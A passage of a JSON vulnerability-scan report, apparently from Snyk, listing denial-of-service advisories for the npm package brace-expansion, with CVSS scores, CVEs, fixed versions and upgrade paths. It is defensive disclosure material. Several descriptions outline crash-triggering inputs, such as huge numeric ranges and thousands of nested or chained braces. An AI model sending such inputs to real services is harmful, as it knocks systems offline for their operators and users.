"packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": 